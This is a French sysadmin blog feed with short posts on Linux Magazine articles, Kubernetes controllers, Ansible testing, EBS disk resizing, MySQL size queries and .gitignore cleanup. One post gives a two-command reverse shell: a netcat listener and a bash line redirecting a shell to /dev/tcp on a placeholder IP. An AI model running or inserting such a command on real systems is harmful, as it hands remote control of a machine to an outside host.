Maje informatique

Linux Magazin n°259 – 4 solutions pour enregistrer les frappes au clavier !

Maje Informatique — Mon, 05 Sep 2022 14:23:30 +0000

Connaissez-vous toutes les solutions pour logger les commandes lancées par les utilisateurs, y compris « root » ? Cette question est aussi un prétexte pour montrer comment simplement créer des Plugins en Python pour l’utilitaire sudo.

Linux Magazine n°259 – Ecrire un Controller pour Kubernetes

Maje Informatique — Mon, 05 Sep 2022 14:21:15 +0000

Dans ce numéro, vous apprendrez comment écrire un Admission Controller pour Kubernetes afin de mieux contrôler les requêtes envoyées à votre Cluster. A l’origine de ce développement, il a fallu faire face à une erreur de manipulation d’un administrateur qui a confondu « po » (Pod) et « no (Nodes) et qui a détruit les noeuds du Cluster malencontreusement. Si vous voulez contrôler les requêtes avec des possibilités supplémentaires, regardez Kyverno !

Linux Pratique n°128 – Testez vos rôles Ansible avec Molecule

Maje Informatique — Wed, 19 Jan 2022 06:59:38 +0000

Voilà bien un outil pratique qui permet de tester vos rôles Ansible ! Ansible a pris tellement d’importance qu’il est indispensable de s’assurer de la validité et de l’idempotence des rôles. Molecule vous aide à tester vos rôles en enchainant des étapes pénibles comme la création de l’environnement de test, l’application des rôles, la vérification des résultats (que vous pouvez aussi exprimer à l’aide de Playbooks !), puis le test d’idempotence et enfin le grand nettoyage !

Linux Pratique n°128 – Les Containers avec Singularity

Maje Informatique — Wed, 19 Jan 2022 06:54:31 +0000

Cet article décrit la solution de containerisation Singularity qui propose une solution adapteé à l’usage des containers principalement sur les clusters de calcul (HPC). Par opposition à Docker, aucun démon n’est nécessaire, aucun privilège « root » n’est requis…

Linux Mag n°248 – Comment interfacer Nagios et Grafana !

Maje Informatique — Sun, 25 Apr 2021 19:05:56 +0000

Cet article propose une solution simple, à base de scripts Python, pour faire afficher les alertes de Nagios dans un tableau de Grafana.

Retailler un disque EBS

Maje Informatique — Tue, 05 Jan 2021 08:55:16 +0000

Une fois la taille du disque EBS augmentée, la commande lsblk doit refléter cette augmentation. Ici le disque /dev/nvme0n1 est passé de 8 à 8 Gio:

$ lsblk
NAME          MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
nvme0n1       259:0    0   9G  0 disk
├─nvme0n1p1   259:1    0   8G  0 part /
└─nvme0n1p128 259:2    0   1M  0 part

Dans notre cas, il s’agit d’augmenter la taille d’une partition. Si ce n’est pas le cas et qu’il s’agit d’augmenter la taille d’un système de fichiers situé sur un disque, utilisez directement la commande de retaillage du type de système de fichiers (resize2fs ou xfs_growfs).

Attention, la commande suivante a besoin de créer des fichiers temporaires, il faut donc de l’espace sous /tmp. Pour cela, créez un système de fichiers de type tmpfs :

$ sudo mount -o size=10M,rw,nodev,nosuid -t tmpfs tmpfs /tmp

Pour augmenter la taille de la partition :

$ sudo growpart /dev/nvme0n1 1

Pour retailler le système de fichiers (ici, de type XFS) :

$ sudo xfs_growfs -d /

Créer un « reverse-shell » en 2 commandes

Maje Informatique — Thu, 31 Dec 2020 08:37:35 +0000

Sur votre machine locale qui est votre machine de contrôle, vous lancez un serveur TCP à l’écoute du port souhaité :

$ nc -lvp 4242

(on suppose que l’adresse IP de cette machine est 1.2.3.4)

Sur la machine distante, sur laquelle vous souhaitez exécuter un « reverse-shell », vous lancez la commande suivante :

# bash -c "sh - i >&/dev/tcp/1.2.3.4/4242 0>&1"

…et le tour est joué !

Linux Mag n°243 – Codez un « Custom Controller » pour Kubernetes

Maje Informatique — Tue, 08 Dec 2020 16:42:15 +0000

Cet article montre comment ajouter vos propres ressources et votre propre Controller à un cluster Kubernetes.

Obtenir la taille des bases MySQL/MariaDB

Maje Informatique — Thu, 26 Nov 2020 17:13:53 +0000

SELECT
	COUNT(*) AS Total_Table_Count
	,table_schema
	,CONCAT(ROUND(SUM(table_rows)/1000000,2),'M') AS Total_Row_Count
	,CONCAT(ROUND(SUM(data_length)/(1024*1024*1024),2),'G') AS Total_Table_Size
	,CONCAT(ROUND(SUM(index_length)/(1024*1024*1024),2),'G') AS Total_Table_Index
	,CONCAT(ROUND(SUM(data_length+index_length)/(1024*1024*1024),2),'G') Total_Size
FROM information_schema.TABLES
GROUP BY table_schema
ORDER BY SUM(data_length+index_length);

Mettre à jour un fichier .gitignore

Maje Informatique — Tue, 04 Feb 2020 13:24:31 +0000

Vous disposez d’un dépôt GIT qui contient déjà des fichiers ainsi qu’un fichier .gitignore. Vous modifiez maintenant votre fichier .gitignore pour « ignorer » de nouveaux fichiers mais qui ont déjà été enregistrés dans le dépôt : comment les faire « disparaître » ?

« commitez » toutes vos modifications actuelles, y compris votre fichier .gitignore
nettoyez votre cache local ainsi :
```
git rm -r --cached .
```
1. rm est le « remove »
2. -r sera récursif
3. --cached ne supprimera les fichiers que de l’index
4. . indique que tous les fichiers seront marqués « untracked » (car pour « untracker » un fichier il faut faire un git rm --cached foo.txt)
ajoutez à nouveau tous les fichiers à GIT :
```
git add .
```
enregistrez la modification de .gitignore :
```
git commit -m ".gitignore fix"
```
puis faites le « push »

(source : http://www.codeblocq.com/2016/01/Untrack-files-already-added-to-git-repository-based-on-gitignore/)